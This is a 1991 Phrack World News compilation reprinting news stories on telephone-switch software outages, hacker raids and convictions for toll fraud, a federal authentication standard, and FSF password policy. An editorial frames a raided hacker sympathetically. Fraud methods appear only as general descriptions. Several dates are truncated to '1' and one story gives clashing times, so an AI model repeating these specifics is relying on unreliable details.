- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Edmund L Andrews (New York Times)
-
- WASHINGTON -- A manufacturer of telephone call-routing computers
- said that a defect in three or four lines of computer code, rather than a
- hacker or a computer "virus," appeared to be the culprit behind a mysterious
- spate of breakdowns that disrupted local telephone service for 10 million
- customers around the country in late June and early this month.
-
- In congressional testimony Tuesday, an official of the manufacturer, DSC
- Communications of Plano, Texas, said all the problems had been traced to recent
- upgrades in its software, which had not been thoroughly tested for hidden
- "bugs."
- Although the telephone companies that experienced failures were using
- slightly different versions of the software, the company said, each version was
- infected with the flaw. "Our equipment was without question a major
- contributor to the disruptions," Frank Perpiglia, DSC's vice president for
- technology and product development, told the House telecommunications
- subcommittee. "We must be forthright in accepting responsibility for
- failure."
-
- Officials at both DSC and the regional Bell companies said they could
- not entirely rule out the possibility of sabotage, but said the evidence points
- strongly to unintentional errors. The flaws caused the computers to send a
- flood of erroneous messages when the computer encountered routine maintenance
- problems.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- TELEPHONE TECHNOLOGY QUESTIONED AFTER FAILURES
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Edmund L. Andrew (New York Times)
-
- WASHINGTON -- Striking similarities between nearly simultaneous
- computer malfunctions that disrupted local telephone service on the East Coast
- and in Los Angeles on Wednesday have raised questions among communications
- experts about the reliability of advanced networks that all the Bell telephone
- companies are now installing.
-
- The problems experienced by both Pacific Bell and the Chesapeake and
- Potomac Co., which serves Washington, Maryland, Virginia and parts of West
- Virginia, involved computer programs on advanced call-routing equipment, which
- uses the same new technology, one being adopted throughout the communications
- industry.
-
- The problems, which were corrected in both areas by early evening on
- Wednesday, made it impossible for about nine million telephone customers to
- complete local telephone calls.
-
- Although the origins of both malfunctions remained unclear on Thursday,
- the difficulties at the two companies bore a strong resemblance to a brief but
- massive breakdown experienced by the American Telephone and Telegraph Co.'s
- long-distance lines in January 1990.
-
- In all three cases, a problem at one switching center quickly corrupted
- other switches and paralyzed much of the system. Perhaps the biggest fear,
- federal regulators say, is that as telephone companies link their networks more
- closely, malfunctions at one company can infect systems at other companies and
- at long-distance carriers.
-
- "What you want to avoid is the situation where one system contaminates
- another," said an investigator at the Federal Communications Commission who
- insisted on anonymity.
-
- "I guess the ultimate concern is that software or hardware would be
- deployed in a way that the corruption could be processed through entire
- network, and there would be no alternatives available."
- As the telephone companies and government regulators tried to determine
- more precisely on Thursday what went wrong, investigators at the communications
- commission said they would also look at several other questions:
-
- Are there system wide problems that have gone unnoticed until now? Can
- telephone companies reduce risks by reducing their dependence on one type of
- switching equipment? Were the disruptions caused by computer operators outside
- the telephone companies trying to sabotage the systems?
-
- Officials at both companies discounted the possibility that a computer
- hacker might have caused the failures, and outside experts tended to agree.
-
- "There's always that possibility, but most likely it was some kind of
- glitch or bug in the software," said A. Michael Noll, a professor at the
- Annenberg School of Communications at the University of Southern California and
- author of several textbooks on telecommunications technology.
-
- Several independent communications experts said the problems reflected
- the difficulty of spotting all the hidden problems in complex software before
- putting it into commercial use.
-
- "It's very hard to simulate all the possibilities in a laboratory," said
- Richard Jay Solomon, a telecommunications consultant and research associate at
- the Massachusetts Institute of Technology. "You have to go out in the field
- and keep your fingers crossed."
-
- As more information became available on Thursday, the two disruptions
- appeared to be almost identical. The problem at Chesapeake & Potomac, a
- subsidiary of the Bell Atlantic Corp., began as the company was increasing the
- traffic being routed by one of its four signal processing computers. For
- reasons that remain a mystery, the system began to malfunction about 11:40 a.m.
-
- The computer was supposed to shut itself down, allowing the traffic to
- be handled by other computers. Instead, it sent out a barrage of erroneous
- signals, apparently overwhelming the other two computers. "It was as if bogus
- information was being sent," said Edward Stanley, a company spokesman.
-
- The same thing seems to have occurred almost two hours later, at about 11
- a.m., in Los Angeles, said Paul Hirsch, a spokesman for Pacific Bell, a
- subsidiary of the Pacific Telesis Group.
-
- Hirsch said the problem began when one of four signal transfer points
- signaled to the others that it was having problems. The other three computers
- froze after being overloaded by signals the defective computer.
-
- Hirsch said his company continued to believe that the two telephone
- incidents were completely unrelated. "Someone wins the lottery every week,"
- he said. "Stranger things can happen."
-
- Officials at Chesapeake and Potomac said the problems were probably
- unrelated. Asked if hackers could have caused the problems, Ellen Fitzgerald,
- a spokeswoman for Chesapeake and Potomac, said she had been assured that
- the system could not be penetrated. But, she added, "a few days ago I would
- have told you that what happened yesterday wouldn't happen."
- Terry Adams, a spokesman at the DSC Communications Corp., which made
- both systems, said company officials also discounted any connection between the
- failures.
- ______________________________________________________________________________
-
-
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-four, File #11 of 11
-
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
- PWN PWN
- PWN Phrack World News PWN
- PWN PWN
- PWN Issue XXXIV, Part Two PWN
- PWN PWN
- PWN Compiled by Dispater PWN
- PWN PWN
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
-
- Mind Rape or Media Rape?
- ~~~~~~~~~~~~~~~~~~~~~~~
- Special Thanks: Night Ranger
-
- Thursday September 26, 1991 was no ordinary day for Mind Rape, a young Arizona
- State college student. When he finally made it home that day, he found his home
- had been raided by the feds. 'They took EVERYTHING! Including my Metallica
- tape!' he told me. After talking to him for quite a while I learned a lot, not
- just about his bust but about hacking in general. He instructed me not to say
- anything specifically on the advice of his lawyer and the EFF, but he did want
- me to let the real reason he was busted be known - His electronic newsletter
- entitled NSA (for National Security Anarchists). Mind Rape has some very
- important views on hacking that the government doesn't want others to hear.
- Some of these views were contained in his newest and soon to be released
- newsletter NSA issue number five, which was confiscated of course. He was also
- working on a book about hacker's philosophy, which was taken too. He has not
- yet been charged but in the eyes of the media he is already been tried and
- found guilty. It is unfortunate the general public gets its information from
- news reports like the following because, as you can see, they can be quite
- misleading. Hopefully once Mind Rape gets everything straight he will continue
- to write his book, after all it is his constitutional right to do so, and I
- think it be quite informative to both the hackers of the nineties and the
- outside world.
-
- The following is a transcript of a news report covering his story...
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Male Announcer: That student is Donald _____ of Phoenix. Officials of
- LDL Long Distance believe he's one of around 20 hackers who've been ripping off
- their company for fun and profit. In tonight's Night Team Report we'll see how
- this kind of thievery adds up. The nation's telephone companies loose more
- than a billion dollars a year to hackers. Mark Nighten (sp?) a security
- director for LDL Long Distance. Last month he was poring through records like
- these which convinced him to believe that someone was making hundreds of
- computer generated phone calls to his company's 1-800 access line trying to get
- customer's calling card codes. He went to the Phoenix Police. They got a
- search warrant and traced the calls to a house near 18th Drive near Union
- Hills. Police went there last month and came away with a computer, software
- and a list of phone codes, all belonging to 19 year old Donald _____ an ASU
- student. With nighten suspects _____ is just one of 20 hacker on his network
- who can make thousands of dollars worth of calls which would wind up on other
- people's phone bills.
-
- Mark: You can see the magnitude of this. Off of one authorization code
- you could have 10, maybe 150 other people...
-
- Male Announcer: Lemme ask ya...How bad are you getting ripped off here?
-
- Mark: We've had to have somebody on this 24 hours a day. We've been
- getting killed.
-
- Male Announcer: Hackers often sell the codes they steal to other students.
- So that hundreds of students and Arizona State University and University of
- Arizona also could be ripping of the company. Students at Arizona State
- University told me today that they have not herd of LDL's troubles, but they
- confirmed that stolen phone codes do have a way of getting around.
-
- I iz a College Student: Someone hears...ya know...about the interest and
- someone else knows somebody...ya know...and they tell you and you talk to
- them and...ya know...it's not overly expensive or anything like that.
-
- Male Announcer: Dr. Dan Kneer of Arizona State University's School
- of Business is a nationally recognized expert on computer crime. [who?] He
- contends that hacking is mushrooming.
-
- Dr. Dan: The problem that I see is that these people philosophically
- don't see this as a crime. For most of them this is an intellectual challenge.
-
- Male Announcer: That challenge led Dutch students to break into a United
- States Army Computer during operation desert storm. And as this Japanese
- documentary shows, it led hackers in a New York City to use payphones to commit
- big time rip-offs. Now it's important to point out that Donald ______, that
- Arizona State University student, has not yet been charged with any crime and
- if he is charged he is innocent until proven guilty.
-
- Female announcer: What is the penalty for hacking?
-
- Male Announcer: Just for getting into a system when you're not supposed to
- can be up to a year and a half in prison. But if there is criminal intent to
- steal, to rip-off that system, the penalty can be as high as 10 years in jail
- and a $150,000.00 fine.
-
- _______________________________________________________________________________
-
- Computer Hacker Gets Probation September 26, 1991
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Special Thanks: Flaming Carrot (Pittsburgh Post-Gazette)
-
- A Mt. Lebanon woman who was able to make thousands of free long-distance
- telephone calls by breaking into voice mail boxes with a touch tone telephone
- has been placed on 10 years probation. Last Friday, Common Pleas Judge Robert
- E. Dauer ordered Andrea Gerulis, 20, of Castle Shannon Boulevard to make
- restitution of $4,300 to Magee Womens Hospital and $2,516 to Pittsburgh
- Cellular Telephone Co.
-
- Gerulis, a Mt. Lebanon High School graduate, was a computer hacker who
- entered telephone computer systems illegally so that she could make telephone
- calls without paying for the service. Mt. Lebanon police Detective John L.
- Michalec posed as a computer hacker and spent nine months investigating her
- activities, which were done by dialing codes on a touch-tone telephone.
-
- After a non-jury trial in May, Dauer convicted her of two counts of theft
- of services and two counts of unlawful use of computers. Assistant District
- Attorney Thaddeus A. Dutkowski recommended probation because he didn't want
- Gerulis to go to jail, where she could teach inmates how to commit crimes with
- a telephone. If she were incarcerated, she would have the largest classroom
- environment she could hope for, Dutkowski said.
-
- Dauer agreed that inmates already know too much about committing crimes
- with telephones. Gerulis told Dauer that she was sorry for what she did, that
- when she started, she was doing it for fun. She was also ordered to continue
- psychological counseling.
- _______________________________________________________________________________
-
- More Archaic Government Regulations Proposed
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Special Thanks: Stainless Steal Provider (New York Times)
-
- The federal government said Thursday that it would introduce a standard
- for authenticating electronic data later this summer, but the announcement
- prompted an angry reaction from one of the leading private providers of software
- that protects computer data.
-
- The company, RSA Data Security Inc. of Redwood City, Calif., said the
- government had failed to address fears about the possibility of a secret "trap
- door," which would permit intelligence and law-enforcement agencies to look at
- private data.
-
- The issue of providing special mechanisms to permit government access to
- private information has caused a growing public debate recently.
-
- Earlier this year an anti-terrorism bill introduced in Congress called on
- the computer and telecommunication industries to permit federal agencies to
- look at private data. But the statement was later dropped from the bill after
- extensive public opposition.
-
- Government officials said that it would be possible for technical experts
- to examine the standard when it is released this summer and they could decide
- for themselves whether there were any shortcomings in the design of the
- standard.
-
- "It will be openly published and people can inspect it to their heart's
- content," said James H. Burrows, head of the computer systems laboratory at the
- National Institute of Standards and Technology.
-
- He added that the new standard was not intended to encrypt computer data,
- and that the government would continue to rely on an earlier technology known
- as the Data Encryption Standard to actually hide information from potential
- electronic eavesdroppers.
-
- Burrows said there was a project under way to develop a successor to that
- standard, but that it was years away from completion.
- ______________________________________________________________________________
-
- Computer Whiz Accused Of Illegal Access and Mischief September 25, 1991
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Peter G. Chronis (The Denver Post Page 1 "NASA vs. Hobbyist")
-
- An Aurora computer hobbyist who allegedly used a personal computer and his
- home phone to penetrate NASA computers hacked off Uncle Sam enough to be
- indicted on seven federal counts yesterday. Richard G. Wittman, 24, the
- alleged "hacker," was accused of two felonies, including gaining unauthorized
- access to NASA computers to alter, damage, or destroy information, and five
- misdemeanor counts of interfering with the government's operation of the
- computers. Wittman allegedly got into the NASA system on March 7, June 11,
- June 19, June 28, July 25, July 30, and Aug. 2, 1.
-
- Bob Pence, FBI chief in Denver, said Wittman used a personal computer in
- his home and gained access to the NASA systems over telephone lines. The
- investigation, which took more than a year, concluded that Wittman accessed the
- NASA computer system and agency computers at the Marshall Space flight Center in
- Huntsville, Alabama, and the Goddard Space Flight Center in Greenbelt,
- Maryland.
-
- The NASA computers are linked to a system called Telenet, which allows
- qualified people to access government data bases. A user name and password
- are required to reach the NASA computers. Federal sources declined to reveal
- more information because the complex case involves "sensitive material."
-
- Wittman, a high-school graduate, apparently hadn't worked in the computer
- industry and held a series of odd jobs. The felony counts against him each
- carry a possible five-year prison term and $250,000 fine.
- _______________________________________________________________________________
-
- Security Increases
- ~~~~~~~~~~~~~~~~~
- Special Thanks: Stainless Steal Provider (New York Times)
-
- The foundation was started by Richard Stallman, who was awarded a MacArthur
- Foundation fellowship in 1. While mainstream software companies
- have prohibited users from freely copying their programs, Stallman, who is
- widely respected for developing computer languages and software editing tools,
- has argued that information is not the same as other commodities and should be
- shared without cost.
-
- His password has been widely known among network users because he has
- refused to keep it secret. He is bitter about the changes that have
- accompanied the coming of age of computer networks.
-
- Last month, after security was increased at the foundation and many users
- were stripped of their guest privileges, Stallman said he considered giving up
- his quest.
-
- In the end, he decided that the cause of creating free software was too
- important to abandon, but he said he feels like a pariah. "Since I won't agree
- to have a real password, I will only be able to log in on the 'inside'
- machines,"
- he wrote in an electronic message in response to a reporter's query.
-
- "I still feel partly ashamed of participating in this. I've been forced to
- choose between two principles, both of which are so important to me that I
- won't accept the loss of either of them."
-
- Idealists like Stallman and Ted Nelson, the author of the cult classic
- "Computer Lib," hoped that the computer revolution wouldn't be like the
- industrial revolution. This time the wealth -- information -- would be free to
- everyone and instant communication would break down the barriers between rich
- and poor and remake mankind.
-
- Marvin Minsky, a computer science professor at MIT, said that for 15
- years, beginning in 1963, researchers at the school lived in a paradise,
- sharing computers and networks before a system of password protection was
- installed. Now that has changed. "It's sad," he said.
-
- "But Richard Stallman is living in a dream world. He has this view that
- his idea of computer ethics will prevail. But it's not going to happen this
- year or next."
-
- Instead of finding community on computer networks, many users are now
- confronted with virus invasions and information theft, leading to the same
- sense of alienation and fear felt by residents of large cities.
-
- "At first I thought this was Marshall McLuhan's global village coming to
- reality," said Neil Harris, a manager at General Electric Information Services
- Co., which sets up computer conferences and sells information to about 200,000
- members around the world.
-
- "But it's not that at all. It's a lot of people connecting in hundreds of
- small communities based around highly specific interests."
-
- Steven Levy, who has written about the early days of computing at MIT, said
- that the demise of the Free Software Foundation's open door policy was
- inevitable.
-
- "When you pass the plate around in church you don't expect people to steal
- from it," he said. "But sooner or later everyone knows that the plate is
- unguarded, and there are always people who don't care about the church. The
- question is how far do you go to protect it? Do you lock the church or do you
- send an armed guard around with the plate?"
- ______________________________________________________________________________
-
- PWN Quicknotes
- ~~~~~~~~~~~~~
- 1. On June 12, 1991, Sirhackalot's equipment was confiscated by the Southern
- Bell and the FBI without any charges being filed. Neither the FBI nor
- Southern Bell bothered to explain why they were in his home and taking his
- personal possessions. Again neither party could tell Sirhackalot what he
- supposedly did to bring both agency's to his doorstep. Also busted were
- Mr.Doo and The Imortal Phreak. [Special Thanks: The Marauder (404)]
- _______________________________________________________________________________
-
- 2. Bill Cook is no longer an assistant United States Attorney in Chicago. It
- is unknown how he left his position. Basic questions go unanswered. Did
- he quit or was fired? If he was fired, we'd like to know exactly why.
- _______________________________________________________________________________
-
- 3. Wanted: Targets of Operation Sun Devil
-
- Computer Professionals for Social Responsibility (CPSR) is pursuing a
- lawsuit against the Secret Service seeking the release of information
- concerning Operation Sun Devil. In recently filed court papers, the
- agency claims that the information cannot be disclosed because, among
- other reasons, disclosure would violate the privacy of those individuals
- who are the targets of the investigation. This argument can be overcome
- if CPSR obtains signed releases from those individuals. CPSR is
- requesting the cooperation of anyone who was the subject of a Sun Devil
- raid on or about May 7, 1. We are prepared to enter into an attorney-
- client relationship with individuals responding to this request, so that
- confidentiality will be assured.
-
- Please respond ASAP to:
-
- David Sobel
- CPSR Legal Counsel
- (202) 544-9240
- dsobel@washofc.cpsr.org
- _______________________________________________________________________________
-
- 4. Recently Microsoft discovered it was the victim of trespassing. A
- security guard noticed two people playing volleyball on the premises and
- knew that they did not work for Microsoft. The officer approached the
- volleyball players and asked them to leave. The trespassers left. Later
- someone asked the security guard how he knew that the people playing
- volleyball were not Microsoft employees. He replied, "They had tans."
- [Special Thanks: Psychotic Surfer]
- _______________________________________________________________________________
-
-
-